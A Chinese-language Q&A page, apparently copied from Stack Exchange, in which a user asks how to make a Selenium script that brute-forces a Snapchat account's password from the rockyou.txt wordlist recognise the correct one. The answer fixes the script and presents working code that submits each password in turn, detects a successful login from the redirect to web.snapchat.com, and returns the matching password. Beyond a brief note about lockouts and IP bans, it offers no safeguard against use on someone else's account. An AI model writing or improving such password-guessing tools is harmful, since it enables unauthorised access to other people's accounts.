如何修正Selenium编写的Snapchat密码验证脚本,识别正确密码?
问题分析与解决方案
我开展了Snapchat账户密码验证测试(无恶意意图),使用Selenium编写的脚本遍历密码列表时,仅返回列表中的最后一个密码,无法识别出正确密码(正确密码已在列表内)。请问如何判断密码是否正确?
用户提供的原始代码:
import selenium import tqdm from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from tqdm import tqdm def Password_Cracking(): driver = webdriver.Chrome() passwords = [] for lijn in open("rockyou.txt"): passwords.append(lijn.strip()) driver.get("https://www.snapchat.com/") eml =WebDriverWait(driver, 20).until(EC.presence_of_element_located((By.CLASS_NAME, 'sidebar_input__lkly9'))) eml.send_keys("") button =WebDriverWait(driver, 200).until(EC.element_to_be_clickable((By.CSS_SELECTOR, 'button.ColoredButton_blueButton__IeoF4.buttons_sdsButton__57EIz'))) button.click() print(driver.page_source) button3 =WebDriverWait(driver, 200).until(EC.element_to_be_clickable((By.CSS_SELECTOR, 'button.sdsm-button.button-compact.button-primary.css-1jxg2jk'))) password =driver.find_element(By.ID,'password') for lijn in tqdm(passwords): try: password.clear() password.send_keys(lijn) button2 =driver.find_element(By.ID, "password-submit-button") button2.click() except: pass return (lijn) print(lijn) Password_Cracking()
核心问题梳理
- 无登录状态校验:脚本点击提交密码后,没有判断是否登录成功,不管密码对错都会继续遍历,最终只会返回最后一个密码。
- 返回位置错误:
return (lijn)放在循环外部,只有遍历完所有密码后才会返回,无法在找到正确密码时立即终止并返回结果。 - 异常处理过于宽泛:
except: pass会忽略所有错误(包括元素定位失败、页面超时等),不利于排查问题。 - 未处理页面跳转逻辑:登录成功后页面会发生跳转或元素变化,脚本没有检测这些特征。
解决方案:通过页面特征判断登录状态
要判断密码是否正确,核心是检测登录成功后的页面特征,常见的判断方式有两种,可任选其一或结合使用:
- 检测URL变化:登录成功后Snapchat通常会跳转到
https://web.snapchat.com/ - 检测特征元素:登录成功后会出现用户头像、侧边导航栏等新元素,同时原登录页的密码框、提交按钮会消失
修改后的代码
import selenium import tqdm from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from tqdm import tqdm def Password_Cracking(): driver = webdriver.Chrome() passwords = [] # 读取密码列表,处理编码问题避免中断 with open("rockyou.txt", "r", encoding="utf-8", errors="ignore") as f: for lijn in f: passwords.append(lijn.strip()) driver.get("https://www.snapchat.com/") # 输入账户名(需替换为实际测试账户) eml = WebDriverWait(driver, 20).until(EC.presence_of_element_located((By.CLASS_NAME, 'sidebar_input__lkly9'))) eml.send_keys("你的测试账户名/邮箱") button = WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.CSS_SELECTOR, 'button.ColoredButton_blueButton__IeoF4.buttons_sdsButton__57EIz'))) button.click() # 等待密码输入页面加载完成 password = WebDriverWait(driver, 20).until(EC.presence_of_element_located((By.ID,'password'))) WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.CSS_SELECTOR, 'button.sdsm-button.button-compact.button-primary.css-1jxg2jk'))) for lijn in tqdm(passwords): try: password.clear() password.send_keys(lijn) button2 = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "password-submit-button"))) button2.click() # 方式1:通过URL变化判断登录成功 WebDriverWait(driver, 5).until(EC.url_contains("web.snapchat.com")) print(f"找到正确密码:{lijn}") return lijn # 方式2:通过特征元素判断(示例,需根据实际页面调整选择器) # WebDriverWait(driver, 5).until(EC.presence_of_element_located((By.CSS_SELECTOR, "用户头像选择器"))) # print(f"找到正确密码:{lijn}") # return lijn except EC.TimeoutException: # 超时说明密码错误,继续下一个 try: # 可选:检测密码错误提示(需根据当前页面调整选择器) error_msg = driver.find_element(By.CSS_SELECTOR, ".错误提示类名") print(f"密码错误:{lijn}") except: pass continue except Exception as e: # 捕获其他异常,方便排查问题 print(f"处理密码 {lijn} 时出错:{str(e)}") continue # 遍历结束未找到正确密码 print("未匹配到正确密码") return None Password_Cracking()
注意事项
- 元素选择器更新:Snapchat页面元素可能会定期更新,需根据当前页面的HTML结构调整错误提示、成功元素的选择器。
- 反爬风险:Snapchat有严格的登录保护机制,频繁尝试密码可能导致账户锁定、IP封禁,测试时请使用自己的账户,并控制尝试频率。
- 编码处理:读取
rockyou.txt时添加编码参数,避免因特殊字符导致程序中断。
内容的提问来源于stack exchange,提问作者technoline techno
相关产品推荐
相关产品推荐

